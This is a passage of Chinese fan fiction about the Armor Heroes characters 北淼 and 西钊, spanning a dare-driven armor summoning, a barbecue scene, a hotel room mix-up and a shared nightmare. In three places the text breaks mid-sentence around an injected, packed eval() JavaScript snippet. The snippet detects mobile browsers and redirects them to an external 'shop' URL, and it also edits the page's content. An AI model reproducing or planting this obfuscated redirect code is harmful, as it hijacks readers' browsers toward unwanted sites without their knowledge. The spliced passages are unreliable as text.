美真看向能量室闪烁的水影石,手撑桌面将椅子滑至中央界面,调出黑犀铠甲的数据,发现北淼的坐标与西钊的重合,并且召唤了黑犀铠甲。然而周围区域甚至整个城市都没有异能量反应。 她的担心还是应验了。在美真的记忆里,没有异能量的情况下,每一次他们召唤铠甲都没发生过什么好事。 除了东杉最开始继承风鹰铠甲时想出去“兜风”,然后这股风就把他吹到了高高的信号塔上,之后没多久异能兽就出现了。 好吧,那次不算。美真想。 这时正赶上东杉从训练室出来,他还没把擦汗的毛巾放下,就看见美真一副愁眉苦脸的样子不停地敲键盘。他凑过去,担心身上的味道影响美真,便没有靠得太近。 “怎么了?” 面对东杉的疑问,美真停下手中的敲击,沉默半晌斟酌措辞:“……西钊昨天把雪獒铠甲的召唤器还给我之后,就去了影界基地。北淼得知这件事也跟了过去。他们的坐标重合了一段时间,现在北淼召唤了黑犀铠甲。” 虽然知道事情可能并不是她想的那样,比如“西钊再次和影界有关联,北淼和西钊再次产生误会,误会发展成冲突”,以北淼的性格绝对会召唤铠甲解决问题,但是美真意识到她尽可能客观的说法也在把这件事越抹越黑。 “什么?!”东杉也不出所料地警惕起来,“难道北淼和西钊打起来了?但西钊召唤不了铠甲,周围也没有异能量反应,他根本不是黑犀铠甲的对手。” 东杉的话让美真很快认识到事情的严重性,立马在另一个键盘上敲击几下:“卫星通讯已经升级过了,我马上联系北淼。” ———— 北淼——或者说黑犀铠甲——还没走到开阔的地方使用长距离的位移技能,内置通讯就响了起来:是美真,毋庸置疑。铠甲里的北淼长长一声叹息,待通讯持续十几秒后才接通。 “北淼!你在干什么!” 意料之中的质问。 如果不是铠甲在身,北淼真的很想抬手扶着额头。他要怎么说?“大冒险输了要穿着铠甲到便利店给西钊买吃的”?他赌一箱牛奶如果这么说的话这件事会被他们笑一辈子。他北淼再狼狈,也不允许这种事发生。 那还有什么召唤铠甲的理由在此时此刻是合理的呢?北淼不能让通讯的沉默持续太久,于是便随口说:“基地洞穴塌方了,帮西钊挡一下落石而已。西钊受了点小伤。” 美真听闻现场描述,熟练地开始操作传送装置:“我马上带你们回来治疗。” “不行!”北淼突然提高音量,像一颗小型炸弹,威力不大,但能把人吓一跳。 “为什么?”美真不解。 因为带回去就把一切都暴露了!!! 北淼忍住没在爆发期把这句话一起炸出来,调整了一下呼吸:“我和他之间还有事情要解决。这是我们的私事。” 残留的暴躁语气让美真和东杉更加坚信这两个人估计又有了新的矛盾,说不定北淼口中的“受伤”是他自己打的。根据炘南的案例,北淼就是这种即使自己认识到了错误,也要把“枣”当“巴掌”一样甩在别人脸上的人。 “北淼,别对自己人乱来。”东杉单手撑桌,皱起眉担心地看向屏幕上重合的两个红点,“如果是关于影界……” “我说过了!这是我们的私事!”北淼一到这时候就控制不住自己的脾气,一拳打在旁边的山壁上,甚至没注意到落拳之处延伸出好几米的裂缝,“你们与其质问我,不如联系西钊自己查证!别来烦我!”说罢,北淼主动切断了通讯。 烦死了!为什么老是怀疑他的目的不单纯?!这明明是西钊的错,是他让自己…… “这是引狼入室的结果吧。” “江山易改,本性难移。” “他要是能改,我告诉你两个字:做梦。” “我早就通知了西钊。你为什么现在才来?” “怕不是对异能兽下不去手吧?” “你这个叛徒!” “……” 一些零碎的记忆忽然涌入脑海,北淼仿佛被突然浇了一盆冷水,彻底地熄了火。他哪来的资格发脾气?这不就是曾经他对西钊的态度吗?无论西钊做什么,北淼都可以顺理成章地用自己的方式把他往“叛徒”的方向推,甚至差点把他真的推下去。 不对。北淼想起西钊手臂上的印记。 他是真的把他推下去了。 队伍里的每个人都知道,在消防队队长证实被劫走的人是西钊和小雪之前,北淼是如何针对西钊的。因此再有类似的情况发生,他们自然会怀疑北淼是否会重蹈覆辙。这何尝不是一种自作自受。 北淼沉下心,一边赶往便利店,一边在想:自己被误会那么一两次就和吃了炸弹一样易燃易爆,那西钊当初是以什么心态忍耐下来的? 这样一想,他也不是没见过西钊发火。 那时西钊朝他挥拳,他接住、反手一拳打了回去;那时西钊被东杉阴阳怪气,把杂志拍在桌上,也就说了句“我来这里不是被羞辱的”就夺门而出;那时西钊被他北淼冠以虚无的指控,却也只是欲言又止,不做任何辩解;那时西钊被夹在张丨健与暗黑护法之间,面对怀疑仅仅只剩“随你们怎么想”。 或许西钊也是尝试过的,挣扎着想要挣脱北淼给他套上的名为“叛徒”的枷锁。但如今细想,在北淼一次次收紧链条的过程中,被囚禁的人知道无论如何也无法改变现实之后,便放弃了抵抗。 哀大莫过于心死。 这句话如石子落水的波纹浮现在脑海时,北淼真想给自己一巴掌。 其实,北淼在“宣布”西钊归队之后,他就总是有一种感觉。这支队伍、他们要做的事、以及还未解救的冰儿,是西钊与这个世界的联系。当这些联系消失,这个人也就会随之消失。 因此,当西钊从宇宙中向地球坠落,北淼毫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334633|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犹豫地拉住了他的手。每当西钊劝他放开,他就会握得更紧。 “算我求你了,北淼,放手吧,这样你会受伤的!” 不,绝对不可以放开。 不是因为那时的情况有多危险,而是因为西钊越是求他,他曾经的那种感觉就越来越强烈——如果他放手,这个人就会永远消失在他眼前。他不能让西钊再掉下去了。 既然他可以在最后抓住冰儿的手,那他也一样可以把西钊拉回来。不论是从遥远的宇宙,还是无尽的深渊。 所以,西钊,拜托了,再给我一次机会。 ———— “那个……你的烤串好了。” 小李小心翼翼地开口,一边提醒面前站桩似的盯着他看的黑色铠甲,一边把一大袋烤串递过去。 “上次跟你们说,只要你们来就打折,这次算我请你的吧。不过……你们这么大张旗鼓的,是出了什么事吗?” “……” 北淼从杂乱的思绪里回神,伸手接过纸袋,没有理会小李的问话。尽管小李说不用付钱,他还是拿出钞票放在烤肉摊的桌面。下一秒,他腾空而起,消失在山野之间。 二十分钟前,他路过便利店的指示牌,不再思考穿着黑犀铠甲在便利店购物结账会是怎样一幅画面。但他今天的运气似乎还不错,在离便利店不远的岔路口看到了小李——那个被误以为是土村后人的、卖烧烤的小李。这就意味着他不用进便利店也能买到吃的。 北淼想起西钊很喜欢吃肉,听敏慈说,他的烧烤技术也不错。北淼并未犹豫,尽可能地以平常心走到烧烤摊面前,在小李诧异的目光里举起两根手指。 “……二十串烤羊肉。” 现在回想起来,北淼真是万分庆幸周围没人注意到这里。 ———— “大冒险?”美真和东杉异口同声。 “嗯。”西钊低沉的声音带着些笑意,“我们在玩‘真心话大冒险’。他输了,这是惩罚。让你们担心了,抱歉。” “不过……”东杉捏着下巴微微歪头,“什么‘大冒险’需要召唤铠甲?” “去便利店买吃的。” “?” 指挥室的两个人大致想象了一下那个场面,嘴角都要压不住了。 美真清了清嗓子,好不容易才憋住笑:“没事就好。但是光影铠甲不能随意召唤,避免引起不必要的关注。下次可不能再这样胡闹了。” “好,知道了。” 挂断通讯之前,美真想起什么,连忙握住麦克风的细杆:“等一下,西钊。” “嗯?” “我知道你想对你的行踪保密,但是……其实……是我告诉北淼……” “没关系。”西钊温柔而坚定地打断了美真未出口的道歉,“就算他是第二天才知道,也会用他自己的方式找过来。” “你会不会觉得,我是因为不信任你才把坐标给北淼的?” “不。”西钊轻笑一声,“我想,正因为你相信我,所以才放任他来找我。对此,我很感激。” 西钊握着电话,闻到了烧烤的香味。 “……有情况我们会及时告诉你们的。再联系。” 他在黑犀铠甲踏进来之前挂断了电话。 TBC 6. 犬科动物 北淼解除铠甲的第一件事,就是把那袋烤串扔进依然坐在平台上的西钊怀里。 西钊双手稳稳接住袋子,注意到北淼的脸色并不好看,歪头打趣道:“怎么了,这么大火气?” 北淼闷哼一声坐到西钊对面,看着那袋烤串,又抬眼望向面带笑容的西钊,本想抱怨什么最终还是扯了扯嘴角摆摆手:“被狗咬了。不是说饿吗,快吃吧。” 西钊也不再客气,拿起烤肉串开始享用。北淼就这么在对面坐着,膝撑肘,掌托腮,面无表情地观察西钊吃东西的样子。 他对西钊的偏见太多了,无论是性格还是爱好,又或者是形象。坤中曾无意中透露西钊在吃烤肉的时候偶尔会狼吞虎咽,像个真正的藏獒;雪獒铠甲还没归队的时候,他觉得这个人很拽也很有实力;作为队友相处时,大家都认为西钊是个温柔体贴的家伙,还会傻笑——来自敏慈的评价。 嗯,他笑起来确实挺傻的。北淼想。 不过,现在坐在他对面的西钊却吃得很斯文,几乎没发出一点声响,还用手挡着嘴接着渣。表情肉眼可见地愉悦,就好像前一天晚上在饺子馆没吃饱似的。要知道那天大家可都是吃到撑才提出散会的,不然惠姨大概不会放他们走。 这家伙,瘦成这样还那么能吃,到底是为什么?影界不管饭的吗?北淼很想就这么问出口,但他觉得西钊并不想和别人分享自己在影界的过去,特别是对他北淼。所以北淼换了一个问法。某种意义上说,这确实也是他想知道的一件事。 “冰儿……以前在影界,是怎么过的?”你又是、怎么过的? 西钊咀嚼的动作停住,礼貌地咽下这一口,将签子放好,眯起眼睛看向北淼,随即摇了摇头,一声轻叹:“你不会想听的。她现在回到你身边,这就是最好的结局。界王已经死了,没有必要再深究过去。” “那就把骰子给我,让我自己争取答案。”北淼的手伸到了西钊眼前,也这是这个时候他注意到带肉的签子只剩三根了。不是,这才几分钟?西钊你是真饿了啊。 看着北淼伸过来的手,西钊忍俊不禁,他从夹克口袋里拿出那两个骰子,却没有马上给北淼,而是摊在手心,低头看着它们,缓缓开口: “冰儿以前很犟,界王对她又严苛,有时候受的罚比我还要多。我总是帮她扛着。她不喜欢这样,就专门闯祸来气我。因为她知道,她犯错,我一定会帮她说话、跟她一起受罚。 “我知道这样下去也不是办法,所以做了这两个特别的骰子。只要冰儿发脾气,就和我玩骰子。如果她赢了,就顺着她的心意去做;如果她输了,就听我的话,消消气。界王对我们最轻的处罚就是禁食。所以很多时候,只要冰儿不愿意吃我偷偷带给她的东西,我就用骰子说服她。 “也许冰儿知道我在骰子上动了手脚,也许不知道,她从来没有说过。虽然我们已经很久没有玩过这个游戏了,但冰儿还是一样,从来没有变过。只要谁不小心惹到她,下次监督我训练的时候,不知道她又要把电压拉到多高了。不管怎么说,倒霉的总是我。” 或许是意识到自己说得太多,西钊没有再继续说下去,弹指将其中一颗骰子抛给北淼。他依旧挂着小酒窝,温和地笑着,仿佛这一切只是发生在另一个可怜人身上的故事。 北淼单手精准地将骰子接住,在掌中攥紧,力气之大让骨节泛白,指甲几乎嵌进肉里。他盯着自己微微颤抖的拳头,咬紧牙根控制自己心中的怒意。他忽然后悔就这么让西钊简简单单杀了界王,他就应该把界王从地狱里挖出来,把他对冰儿做的事还之以数十倍、不,数百上千倍,甚至是—— “如果他有一点点损伤,我就让你们付出一万倍的代价!” 他忽然想起,那时他受到黑暗护法的蛊惑,被困在水库的电磁场时,西钊对黑暗护法的喊话。 ……真是个傻子。 北淼笑了——他真的“噗嗤”一下笑出了声。以至于收敛笑容都准备安慰北淼“现在已经没事了”的西钊都有些看不明白面前这个阴晴不定的家伙。难道是因为没有亲手报仇被气笑了? “你笑什么?”西钊哭笑不得地拿起了最后三根烤串,“看我倒霉很高兴吗?” “是啊,我恨不得站起来鼓掌。”北淼轻描淡写地一句话带过,并未多做解释,在西钊咬下去之前夺过他手里的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334634|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一串烤羊肉,“给我。” “有你这么说话的吗……北淼!”西钊反应过来的时候,他最后的三串烤肉已经被北淼占领了。 西钊伸手要抢,北淼一边吃着嘴里的一边高举手里的,两个坐着的人甚至懒得站起来。在西钊发现自己这样做像个小孩子一样丢人之后,便收回了手,微微鼓起腮帮吹了口气,垂着脑袋向后靠在管子上。 北淼见西钊不抢了,迅速消灭两串,拿着最后一串的手慢慢放下。他越看西钊的样子越觉得:“你真的好像一条狗。” 噢。呃。他说出来了。 北淼意识到这件事的时候已经太迟,但他强装镇定,实则努力回想刚刚说这句话时是什么样的语气。调侃?戏谑?平淡?开玩笑?他不知道这句话会不会冒犯到西钊,让他们刚刚才开始互相了解——大概吧——的关系回到起点。 他看到西钊抬起头与他对视,眼里似乎并没有他预想中的怒意,反而尽是温柔:“我在你嘴里,就没有一句好话吗?” 这句话单独拎出来讲,听起来就好像在质问对方,但为什么从西钊的嘴里说出来、进到北淼耳朵里,听起来就这么平和呢?简直不像是在吵架,而是在放任北淼对自己领地的侵略。 北淼跳脱的脑回路突然想到:纯金其实是软的,所以西钊是纯的。 北淼一边这么想着,一边将最后那一串伸过去递给西钊:“给。” 西钊瞥了一眼北淼,毫不客气地接过来。和最开始的斯文不同,他低头狠狠咬了一口最前面的肉,就好像咬在某个人身上似的。 见此情景的北淼眉毛一挑,不知道哪根筋搭错了,放下已经吃完的签子,随意擦擦手,便伸手过去按在西钊的脑袋上重而迟缓地揉了几下,直到被西钊一巴掌拍开。 ……还挺软和。不愧是纯金。北淼看了看自己的掌心,又望向皱眉不解的西钊。 “瞧,这像不像狗在护食?”北淼笑道。 “……我可去你的吧,北淼。” 自己真是跟他冤家路窄。西钊有些后悔把雪獒铠甲的召唤器还给美真。现在他真想穿上雪獒铠甲好好揍他一顿。 TBC 7. 大床房乌龙 西钊不知道事情是怎么发展成这样的。或者说,他不知道为什么自己放任它往这方面发展。 此时他正穿着北淼强行给他买来的一件黑色长袖。因为压根没给西钊反对和试穿的机会,因此买大了一个号,显得松松垮垮。他用酒店的毛巾揉搓半干的头发,盯着镜中刚洗完澡的自己,心情复杂。 两小时前。 他们依旧在影界基地,刚刚结束关于烤肉串的争执。安静下来之后,北淼向后靠着管子,闭上了眼。西钊看出北淼的疲惫,他知道从城里开车到这里来也要一两个小时,北淼或许从昨晚开始就一直没有休息。西钊不知道北淼一定要留在这里的理由,但他不忍北淼强撑着跟他一起胡闹。 “你是不是、一个晚上没睡?”西钊扬扬下巴,开门见山地问。 北淼知道西钊要找理由打发他走了,低头捏捏眉心试图驱散自己的疲倦:“你管不着。” 西钊没有拿回刚刚给北淼的骰子,他笑了一声,站起身走过去拍拍北淼的肩膀:“好了,你跟我较什么劲。快回去吧,冰儿在家等你呢。” 北淼依旧看着地上的岩板,抬手握住拍在他肩膀的手:“那你跟我回去。” 西钊第一反应是抽开自己的手,但他一往回使力,北淼就把他往反方向拽。他听着北淼疲乏的语气,有些心疼:“别这样,北淼。你知道我有想去的地方。” “你只有两个选择。要么我在这里随便找个地方躺着,要么你跟我回去。”北淼在西钊搬出更多理由之前打断了他,“当然,如果你要是想让我来‘带’你回去,我也可以考虑。但我保证你不会喜欢这个过程。” 西钊彻底没辙了:“犀牛也是牛。难怪脾气这么倔。就不能折中吗?” 北淼掌心的手腕骨骼分明,消瘦得他都怕什么时候用力就会折断。他烦躁地扭开头,借力站起身,随即松开西钊有些冰凉的手:“那你说说,要怎么折中?在你放弃那些荒谬的想法之前,我会一直盯着你的。” “北淼,你需要休息。”西钊软了语气,几近恳求。 “这种事不需要你来提醒。”北淼是行动派,脱下夹克随意团在一起,跃下平台开始找更平坦的地面,准备就地补觉,“再说,你这个在哪儿都能睡着的家伙,没资格说我。” 西钊苦笑道:“我能三天不闭眼,再用雪獒铠甲和你打一场,你行吗?”他走上前,伸手夺过北淼团在怀中的黑色夹克,“行了,要睡,就去舒服的地方。别在这里。” “那我就当你同意回去了。”北淼握拳挡住口鼻打了个哈欠。 “不。”西钊把夹克像丢篮球一样扔到了北淼脸上,“去住酒店。正好,我也想洗个澡。你请客。” 愤愤拽下糊在脸上的衣服,北淼一句“你!”还没说出口,西钊人已经往洞口走了。他看着晨曦辉光映出的那个背影,心里忽然有一种说不上来的沉闷,方才握住西钊的手缓缓攥成拳。 至少先让我拽着你的风筝线吧,西钊。以后的事,以后再说。 “你要反悔了吗,北淼?”西钊在远处侧了半个身回头看北淼。 “……来了。” ———— 西钊不想让北淼把车开回市中心,北淼也不想住那些低档宾馆。于是他们来到一个接近机场的高级酒店,打算订最好的房间。西钊拎着北淼途中给他买的衣服和洗漱用品,北淼拿出银行卡递给前台。 “请给我一间最好的双床房。” 前台小姐查询后面带歉意的微笑,说道:“实在不好意思,这边只剩下情侣用大床房了。” 北淼看多了这种套路,保持绅士风度地将卡片在桌上敲了敲:“双倍房价。” “先生,这不是钱的问题……”前台尴尬地保持职业微笑,看上去很为难。 大概是实习生吧,不懂暗示。北淼在心里叹口气,准备把卡收起来。结果他的“走吧,去下一家”被西钊从他手里抽走卡片的动作堵了回去。 “没关系,我们要了。”西钊食指中指夹着银行卡,转动手腕优雅地递给前台,脸上的温暖笑意让前台双手接过卡片时都愣神了几秒。 “你没听到是大床房吗?”北淼不解地用手背轻拍西钊的肩膀。 西钊脑袋一歪,笑意不减:“知道啊。是你睡,又不是我睡。放心吧,在你睡的时候,我会找点事做,不会离开的。” 北淼还想怼一句,前台小姐的声音弱弱地传来:“那个……需要二位的证件。” 北淼的视线在二人中间游走几秒,叹息着把身份证放在前台上。但西钊并没有动静,只是想起什么似的,低头露出一个浅浅的苦笑,只一瞬就消失不见,恢复成那个“天使”模样。 “以他的名字办理吧,我就待一会儿。” 离了影界,他甚至没有身份可言。 “啊、好,知道了……”前台在电脑上操作一番,将房卡双手递给西钊,迅速瞥一眼旁边的北淼,像是明白什么似的,自顾自地补充,“那个、如果有什么特殊需要,在床头柜的抽屉里都会有提供。是、是免费的。” “?”北淼的困惑清晰地写在了脸上。 西钊忍俊不禁,不知道是因为前台的误会还是北淼的反应。这种事他倒是见得多,以前出任务在小宾馆盯梢时没少被人误会。他朝前台摇摇头:“你误会了,我们不是那种关系。” “……” 北淼的脸色一秒钟阴沉下来。他好像懂了这是怎样一个乌龙。 谁要和这个家伙是“那种”关系啊?北淼在脑海中翻了翻他和其他女性相处时的《绅士指南》,试图模拟把它们用在西钊身上时会是什么场景。然后他意识到自己现在的表情大概可以用“五颜六色”来形容。他实在想不到自己和西钊会怎么往那个方向发展。再说了,“特殊需要”?说得好像他们能上垒一样。 …… ……所以,男人和男人之间要怎么做? 北淼的脑子里突然冒出了这句话。 “走吧,北淼,房间在24楼。”西钊一边朝前台礼貌地挥挥手,一边拍拍北淼的肩膀示意他跟上来,“怎么了,你看起来脸色很差。就这么不想和我共处一室吗?” 北淼顺着西钊的声音与他对视,那双眼里的平静与柔和忽然让他觉得有些焦躁,他不轻不重地推开西钊,拿上房卡就先行一步进入电梯:“没事,脑子抽了。” “?” 西钊小跑着赶过去,在电梯门关上之前按下按钮,追上了北淼。 两人进入房间之后并没有过多言语,很默契地各做各的事情。西钊收拾好东西准备洗个澡,北淼则挂好外套脱了鞋准备睡觉。 北淼坐在床边,忽然想起前台小姐的话,大概是出于好奇,一边说着一边拉开床头柜的抽屉:“特殊需求是什么?” “套、润滑。”已经在浴室里整理洗漱用品的西钊熟练地回答,“有些地方还会提供药和道具,大多数时候都额外收费。” “哼。玩儿得真花。”北淼面无表情地低哼,随手将指间夹着的一小袋东西丢回被奇形怪状的物品塞满的抽屉,抬眼往浴室的方向望去,语气带着些调笑,“你倒是知道得挺清楚。” “嗯。”西钊已经关上门开始洗澡。水声盖过了部分声音,西钊听上去自带混响,但依旧很清晰地传入北淼的耳朵里,“我没试过,只是比较了解。像我这样的脸,想不知道一些不该知道的事情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334635|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也挺难的。” 这个混蛋,哪里来的自信…… 北淼被西钊自恋的一番话逗笑了,说不准是气笑的。他翻身上床,抬手关灯,只留下桌前的一盏台灯。他刚躺下,柔软舒适的床被卷着困意迅速侵袭而来。他闭上眼,感到自己的意识开始模糊起来,有些词句就这么如流水从他口中漏出:“那照你这么说,你是不是,经常被居心不良的人盯上?” “是啊。”黑暗里,北淼似乎听到了西钊的浅笑,“只不过那些不自量力的家伙,都得到了教训。” 北淼觉得自己的意识已经处于半梦半醒之间,说出来的话似乎不受自己控制:“万一,你打不过那个居心不良的人,怎么办?” “谁这么厉害,打得过雪獒侠?”西钊顶着泡泡脑袋,被北淼这几个无厘头的问题逗得哭笑不得,“还是说,你想找个借口和我比一场?” 没有回音。 “北淼?”西钊关上水阀,试探性地问。 一片死寂。 北淼睡着了。 得出这个结论的西钊重新打开水阀,冲掉脑袋上的泡泡。温水抚过他身上骇人的痕迹:来自刀剑大大小小的疤、各种粗细的鞭痕、高压电击的烧伤……有几道还算新,是之前和坤中私下见面时被界王和丑将抽的鞭痕。西钊早已对疼痛麻木,但他并不想向其他人展示这些丑陋的过去。如果北淼在查看印记抓住他手臂时再把衣服往上卷一点点,就会露出痕迹。 还好,北淼看不到。 他擦干身体,换上衣服,在镜子前擦拭头发。望着镜中的那个充满生命力、全新的自己,西钊透过半开的浴室门,往床的方向瞥了一眼。 其实他可以直接离开,他有很多种方式去做他想做的事,但北淼在这里、在他身边。比起抓住他的风筝线拴在某个篱笆上,这个人更像是拽着线跟随自己迎风一起奔跑。这是补偿他的一种方式吗?西钊想。还是单纯不想让自己离开这个世界?不管是哪一个,站在西钊的角度,都只是北淼为了自己心里能好受一些,而不是为了西钊。 所以,北淼,你的答案是什么? 西钊轻手轻脚地离开浴室,即使光源很小,他也能看清路。桌子就在床的旁边,西钊在桌前整理他换下来的衣服,打算一会儿拿去洗。余光里是面向西钊方向侧身熟睡的北淼,毫无防备。虽说他答应北淼会找点事做,但事实是他无事可做。借着微光,他偏头观察北淼的睡颜。为什么这个人连睡觉的时候都这么严肃,看起来一点都没有松懈的样子,担心自己离开吗? 西钊无声地拉开桌前的椅子,和北淼面对面,挨着床边坐下,手肘撑在桌沿,掌心托着自己歪着的脑袋,视线停留在北淼的脸上。如果抛开里面的火药和不堪入目的“光辉事迹”,北淼这个人还是挺养眼的,至少对女孩子的态度都很好;很聪明,也很有家教。 西钊没有意识到自己嘴角微扬,小小的酒窝陷下浅浅的阴影。 正当西钊看得愣神时,北淼忽然翻了个身,本来就随便往身上盖的被子非常丝滑地往下坠,西钊条件反射地站起来接住被角,给北淼重新盖好。他的手无意间与北淼露出的指尖相碰,只是那一瞬间,西钊忽然眼前一黑,失去了一切知觉。 等到他重新睁开眼,发现自己正坐在一个咖啡馆门口,面前放着一杯热橙汁。西钊发现这不是他“自己”,就像当初被梦魇囚禁在铠甲里一样,他好像被困在了谁的身体里。下一秒,身上的电话响起,听到“自己”的声音时,西钊甚至没有第一时间反应过来。 “江山易改,本性难移。烂橘子就是烂橘子。他要是能改,我告诉你两个字:做梦。” 这是……北淼? TBC 8. 丑将登场 西钊一开始还没想起这是北淼什么时候的记忆,伴随着北淼激动的言语,他的胸口也跟着涌上莫名的怒意、有种恨铁不成钢的无奈。但等北淼转身望向地面一个海螺吊坠时,西钊似乎弄清了“当下”的状况——北淼说的这些话,让冰儿一字不差地听到了,而冰儿在扔下吊坠的同时,也抛弃了过去那个念有旧情、向往阳光的自己。 海螺吊坠是冰儿从西钊认识她开始就一直带在身边的吊坠,西钊从不过问它的来历。最初他们被抓进影界时,西钊一言不发、小雪哭泣不停。界王觉得烦躁,试图用暴力制止小雪的哭声,被小小的西钊无声阻拦。见哭声减弱,界王也只好作罢。 他们被安排住在一间卧室,西钊依旧很少说话。怕黑的小雪主动凑过来,她手中紧紧攥着那个吊坠,眼角还有泪痕。他们相顾无言,直到西钊抬手笨拙地给小雪擦拭脸颊。 “不要怕。”男孩儿虽没什么表情,但尽可能让自己听上去很温柔,“我保护你。” 女孩儿磨挲着手中的海螺,满脸是说不出的委屈:“我哥哥也这么说,但是他把我丢下了。你们说话不算数,我不相信。” 男孩儿沉默了很久,忽然问,“我叫西钊,你叫什么名字?” “……小雪。” “这里很冷,雪也会结成冰。”西钊一字一顿地说着,显得有些呆板,“在这里,你就叫冰儿。我会保护冰儿。等我们离开这里,冰就会化成雪。到那时,我们就去找你哥哥。” “真的吗?”小雪的眼中逐渐亮起期待。 “嗯。”西钊重重点头。 他们或许已经忘记这段过去,但命运让他曾对冰儿许下的承诺和他们本应黑暗的人生,以一种异常曲折的方式,走到了相同的终点。 坚冰最后还是在阳光之下融成了初雪。 ———— 西钊还未从这种奇异的“幻觉”中适应,北淼已经起身捡起吊坠。当西钊察觉到此时的北淼意识到他自己犯了怎样的错,一股前所未有的强烈情感即刻冲击他的神经:惊诧、懊悔、悲痛、愧疚、甚至是自我憎恶,无数情绪的交织扭曲了西钊眼前的现实,让他有种想要干呕的冲动。他感觉到北淼的的世界在颤抖——字面意义上的震动。如梦的场景一点点随着这混乱的心境碎裂、崩坏,最终只剩拿着吊坠的北淼孤独地站在一片黑暗之中。 忽地,从黑暗的某处传来一个熟悉的声音。西钊认出,那是曾经的小雪。听到哭声的北淼几乎是下意识地向哭声跑去。它好像离北淼越来越近,又好像越来越远。永远无法到达的求救将这份绝望沿着黑暗以数十倍传递给了北淼,将他双腿缠绕,让他的步伐越发沉重。西钊听到北淼一次次呼喊着“小雪”,得到的只有消失在尖叫下的“哥哥”。 那一刻,他发现,这不是北淼的记忆,而是他的梦魇。 ……原来,北淼也会做噩梦。 当西钊跟着这副身体跪坐在地时,他如此想到。他知道,北淼是个“胆小鬼”,十年前,因为害怕异能兽、害怕它抢走水影石而逃走;十年后,因为害怕权威被质疑、害怕错事被指责而选择替罪羊一错再错。西钊没有想过,外表看上去强势又果敢的北淼,心中也会有如此脆弱的一面。他忽然就理解了,为什么北淼只要面对冰儿,就会放下戒心,以至于被一次次欺骗和利用,甚至造成全员重伤的局面。聪明如北淼,精明了一辈子,最终还是输给了过去的自己。 等眼前再次映起微光,西钊发现他已经回到了现实,甚至保持着给北淼盖被子的姿势,仿佛“他们”在噩梦中的度日如年在这里只是秒针的几步磕绊。他注意到北淼微微皱起眉,脸色苍白。西钊知道,他在追一个他永远追不上的人。 西钊看了一眼方才和北淼触碰的手,在困惑这种“链接”产生的原因与安抚北淼之中选择了后者。他绕到床的另一边,单膝半跪在床前。担心自己的手太凉把北淼冻醒,西钊还特地搓搓手,暖和了一下。他以最轻的力道将温热的手与北淼的相握,压低音量柔声道: “没事了,北淼。小雪回来了。她就在你身边。没事了。” 就这样,西钊保持这个动作、念着这几句话,直到北淼眉头逐渐舒展,呼吸也平稳下来。 西钊无声地松口气,慢慢松开手,直接向后坐在了地上小憩,开始静下心思考刚刚发生的一切。他看到了北淼的梦魇,毋庸置疑。但最重要的是,他似乎能与北淼共感,就好像让西钊亲身经历一般。西钊不知道这种“链接”为什么会出现,是不是只局限于他和北淼之间,北淼会不会意识到脑子里还有第二个人在“围观”。比起这些,见证北淼梦魇的他更想知道,“链接”触发的机制是什么。如果能看见更多,他就能更好地帮助北淼。 看着那样痛苦的北淼,西钊想,他不能就这样离开。冰儿和西钊是北淼最难解的心结,如果西钊真的选择消失在大海、往后世界的任何一个角落都再也找不到他,北淼梦中那个永远追不上的人,就会变成西钊。西钊哪里忍心、又哪里有勇气这样残酷,哪怕对方曾经害他在黑暗中生活十年、哪怕对方曾污蔑他、针对他、甚至对他挥拳,他也愿意在这个人深陷沼泽时拉他一把,任何时候都会。 因为他是西钊,他本性如此。 ———— “呃……” 西钊的思绪被手臂突兀的刺痛打断,他本以为又是所谓“幻痛”发作,结果扯下袖子时,那漆黑的印记竟亮起熟悉而陌生的幽绿色暗光。西钊全身一僵,大脑甚至空白一瞬,直至一个化成灰他都认识的声音随着越发严重的疼痛从脑海中传来。 “哟~哟~哟——好久不见。原来我的计划是被这家伙打乱的。” ……丑将。 西钊痛得甚至无法开口说出那个名字。 可是为什么?丑将和冰儿一样,被黑暗护法附身,应该随着护法被封印而一起被封印才对,怎么会……不对,这样的话不能解释冰儿…… “呃啊……” 西钊吃痛地呻吟出声,捂着手臂侧躺在地蜷缩起来。丑将就好像能听到他心声似的,像所有会自己跳出来讲解来龙去脉的反派一样自豪地说道:“哼。我们影界的人跟那些脆弱的人类根本不是一个档次!其他三个人类连渣都没留下,那个叛徒要不是在影界待久了,说不定也是一样的下场。我嘛,我本来差点也要丧命的,可是呢,多亏我们在你身上留下的‘小东西’,给我也留了条后路。” “所以、‘它’没有消失……是……因为、你……”西钊已经说不出完整的句子,渗透灵魂将他撕裂的痛苦几乎要让他失去意识,“你到底……呃……”你到底想要什么……? 